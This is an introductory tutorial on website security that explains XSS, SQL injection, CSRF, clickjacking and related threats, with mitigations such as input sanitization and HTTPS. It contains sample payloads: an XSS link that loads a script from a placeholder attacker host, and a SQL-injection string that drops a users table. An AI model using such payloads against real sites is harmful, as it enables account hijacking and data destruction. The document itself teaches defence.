Website security

Website security requires vigilance in all aspects of website design and usage. This introductory article won't make you a website security guru, but it will help you understand where threats come from, and what you can do to harden your web application against the most common attacks.

Prerequisites:	Basic computer literacy.
Objective:	To understand the most common threats to web application security and what you can do to reduce the risk of your site being hacked.

What is website security?

The Internet is a dangerous place! With great regularity, we hear about websites becoming unavailable due to denial of service attacks, or displaying modified (and often damaging) information on their homepages. In other high-profile cases, millions of passwords, email addresses, and credit card details have been leaked into the public domain, exposing website users to both personal embarrassment and financial risk.

The purpose of website security is to prevent these (or any) sorts of attacks. More formally, *website security is the act/practice of protecting websites from unauthorized access, use, modification, destruction or disruption*.

Effective website security requires design effort across the whole of the website: in your web application, in the configuration of the web server, in your policies for creating and renewing passwords, and in client-side code. While that all sounds very ominous, the good news is that if you're using a server-side web framework, it will almost certainly already enable robust and well-thought-out defense mechanisms against a number of the more common attacks "by default". Other attacks can be mitigated through your web server configuration, for example enabling HTTPS. Finally, there are publically available vulnerability scanner tools that can help you find out if you've made any obvious mistakes.

The rest of this article provides more detail about a few common threats and some of the simple steps you can take to protect your site.

> **Note**: This is an introductory topic, designed to help you start thinking about website security. It is not exhaustive.

Website security threats

This section lists just a few of the most common website threats and how they are mitigated. As you read, note how threats are successful when the web application either trusts or is *not paranoid enough* about the data coming from the browser!

Cross-Site Scripting (XSS)

XSS is a term used to describe a class of attacks that allow an attacker to inject client-side scripts *through* the website into the browsers of other users. As the injected code comes to the browser from the site it is *trusted*, and can hence do things like sending the user's site authorization cookie to the attacker. Once the attacker has the cookie they can log into a site as though they were the user and do anything the user can. Depending on what site it is, this could include accessing their credit card details, seeing contact details or changing passwords, etc.

> **Note**: XSS vulnerabilities have historically been more common than any other type.

There are two main approaches for getting the site to return injected scripts to a browser — these are referred to as *reflected* and *persistent* XSS vulnerabilities.

- A *reflected* XSS vulnerability occurs when user content that is passed to the server is returned *immediately* and *unmodified* for display in the browser — any scripts in the original user content will be run when the new page is loaded!
  For example, consider a site search function where the search terms are encoded as URL parameters, and these terms are displayed along with the results. An attacker can construct a search link containing a malicious script as a parameter (e.g. `http://mysite.com?q=beer<script%20src="http://evilsite.com/tricky.js"></script>`) and email it to another user. If the target user clicks this "interesting link", the script will be executed when the search results are displayed. As discussed above, this gives the attacker all the information they need to enter the site as the target user — potentially making purchases as the user or sharing their contact information.
- A *persistent* XSS vulnerability is one where the malicious script is *stored* on the website and then later redisplayed unmodified for other users to unwittingly execute.
  For example, a discussion board that accepts comments containing unmodified HTML could store a malicious script from an attacker. When the comments are displayed the script is executed and can then send the attacker information required to access the user's account. This sort of attack is extremely popular and powerful because the attacker doesn't have to have any direct engagement with the victims.

  While `POST` or `GET` data is the most common source of XSS vulnerabilities, any data from the browser is potentially vulnerable (including cookie data rendered by the browser, or user files that are uploaded and displayed).

The best defense against XSS vulnerabilities is to remove or disable any markup that can potentially contain instructions to run the code. For HTML this includes tags like `<script>`, `<object>`, `<embed>`, and `<link>`.

The process of modifying user data so that it can't be used to run scripts or otherwise affect the execution of server code is known as input sanitization. Many web frameworks automatically sanitize user input from HTML forms by default.

SQL injection

SQL injection vulnerabilities enable malicious users to execute arbitrary SQL code on a database, allowing data to be accessed, modified or deleted irrespective of the user's permissions. A successful injection attack might spoof identities, create new identities with administration rights, access all data on the server, or destroy/modify the data to make it unusable.

This vulnerability is present if user input that is passed to an underlying SQL statement can change the meaning of the statement. For example, consider the code below, which is intended to list all users with a particular name (`userName`) that has been supplied from an HTML form:

```
statement = "SELECT * FROM users WHERE name = '" + userName + "';"
```

If the user enters a real name, this will work as intended. However, a malicious user could completely change the behavior of this SQL statement to the new statement below, simply by specifying the "**bold**" text below for the `userName`. The modified statement creates a valid SQL statement that deletes the `users` table and selects all data from the `userinfo` table (revealing the information of every user). This works because the first part of the injected text (`a';`) completes the original statement (' is the symbol to delineate a string literal in SQL).

```
SELECT * FROM users WHERE name = 'a';DROP TABLE users; SELECT * FROM useri
```

The way to avoid this sort of attack is to ensure that any user data that is passed to an SQL query cannot change the nature of the query. One way to do this is to escape all the characters in the user input that have a special meaning in SQL.

Note: The SQL statement treats the ' character as the beginning and end of a string literal. By putting a backslash in front we "escape" the symbol (\'), and tell SQL to instead treat it as a character (just part of the string).

In the statement below we escape the ' character. The SQL will now interpret the name as the whole string shown in bold (a very odd name indeed, but not harmful!)

```
SELECT * FROM users WHERE name = 'a\';DROP TABLE users; SELECT * FROM user
```

Web frameworks will often take care of this escaping for you. Django, for example, ensures that any user-data passed to querysets (model queries) is escaped.

> **Note**: This section draws heavily on the information in Wikipedia here.

Cross-Site Request Forgery (CSRF)

CSRF attacks allow a malicious user to execute actions using the credentials of another user without that user's knowledge or consent.

This type of attack is best explained by example. John is a malicious user who knows that a particular site allows logged-in users to send money to a specified account using an HTTP `POST` request that includes the account name and an amount. John constructs a form that includes his bank details and an amount of money as hidden fields, and emails it to other site users (with the *Submit* button disguised as a link to a "get rich quick" site).

If a user clicks the submit button, an HTTP `POST` request will be sent to the server containing the transaction details and *any client-side cookies that the browser associated with the site* (adding associated site cookies to requests is normal browser behavior). The server will check the cookies, and use them to determine whether or not the user is logged in and has permission to make the transaction.

The result is that any user who clicks the *Submit* button while they are logged in to the trading site will make the transaction. John gets rich!

> **Note**: The trick here is that John doesn't need to have access to the user's cookies (or access credentials) — the user's browser stores this information, and automatically includes it in all requests to the associated server.

One way to prevent this type of attack is for the server to require that `POST` requests include a user-specific site-generated secret (the secret would be supplied by the server when sending the web form used to make transfers). This approach prevents John from creating his own form because he would have to know the secret that the server is providing for the user. Even if he found out the secret and created a form for a particular user, he would no longer be able to use that same form to attack every user.

Web frameworks often include such CSRF prevention mechanisms.

Other threats

Other common attacks/vulnerabilities include:

- Clickjacking. In this attack, a malicious user hijacks clicks meant for a visible top-level site and routes them to a hidden page beneath. This technique might be used, for example, to display a legitimate bank site but capture the login credentials into an invisible `<iframe>` controlled by the attacker. It could alternatively be used to get the user to click a button on a visible site, but in doing so actually unwittingly click a completely different button. As a defense, your site can prevent itself from being embedded in an iframe in another site by setting appropriate HTTP headers.
- Denial of Service (DoS). DoS is usually achieved by flooding a target site with spurious requests so that access to a site is disrupted for legitimate users. The requests may simply be numerous, or they may individually consume large amounts of resource (e.g. slow reads, uploading of large files, etc.) DoS defenses usually work by identifying and blocking "bad" traffic while allowing legitimate messages through. These defenses are typically within or before the web server (they are not part of the web application itself).
- Directory Traversal/File and disclosure. In this type of attack, a malicious user attempts to access parts of the web server file system that they should not be able to access. This vulnerability occurs when the user is able to pass filenames that include file system navigation characters (e.g. `../../`). The solution is to sanitize input before using it.
- File Inclusion. In this attack, a user is able to specify an "unintended" file for display or execution in data passed to the server. Once loaded this file might be executed on the web server or in the client-side (leading to an XSS attack). The solution is to sanitize input before using it.
- Command Injection. Command injection attacks allow a malicious user to execute arbitrary system commands on the host operating system. The solution is to sanitize user input before it might be used in system calls.

There are many more. For a comprehensive listing see Category: Web security exploits (Wikipedia) and Category: Attack (Open Web Application Security Project).

A few key messages

Almost all the exploits in the previous sections are successful when the web application trusts data from the browser. Whatever else you do to improve the security of your website, you should sanitize all user-originating data before it is displayed in the browser, used in SQL queries, or passed to an operating system or file system call.

Important: The single most important lesson you can learn about website security is to **never trust data from the browser**. This includes `GET` request data in URL parameters, `POST` data, HTTP headers and cookies, user-uploaded files, etc. Always check and sanitize all incoming data. Always assume the worst.

A number of other concrete steps you can take are:

- Use more effective password management. Encourage strong passwords that are changed regularly. Consider two-factor authentication for your site, so that in addition to a password the user must enter another authentication code (usually one that is delivered via some physical hardware that only the user will have, such as a code in an SMS sent to their phone).
- Configure your web server to use HTTPS and HTTP Strict Transport Security (HSTS). HTTPS encrypts data sent between your client and server. This ensures that login credentials, cookies, `POST` data and header information are all much less available to attackers.
- Keep track of the most popular threats (the current OWASP list is here) and address the most common vulnerabilities first.
- Use vulnerability scanning tools to perform automated security testing on your site (later on, your very successful website may also find bugs by offering a bug bounty like Mozilla does here).
- Only store and display data that you need to. For example, if your users must store sensitive information like credit card details, only display enough of the card number that it can be identified by the user, and not enough that it can be copied by an attacker and used on another site. The most common pattern these days is to only display the last 4 digits of a credit card number.

Web frameworks can help mitigate many of the more common vulnerabilities.

Summary

This article has explained the concept of web security and some of the more common threats that your website should attempt to protect against. Most importantly, you should understand that a web application cannot trust any data from the web browser! All user data should be sanitized before it is displayed, or used in SQL queries or file system calls.

That's the end of this module, covering your first steps in server-side website programming. We hope you've enjoyed learning the fundamental concepts, and you're now ready to select a Web Framework and start programming.

Previous

Overview: First steps

In this module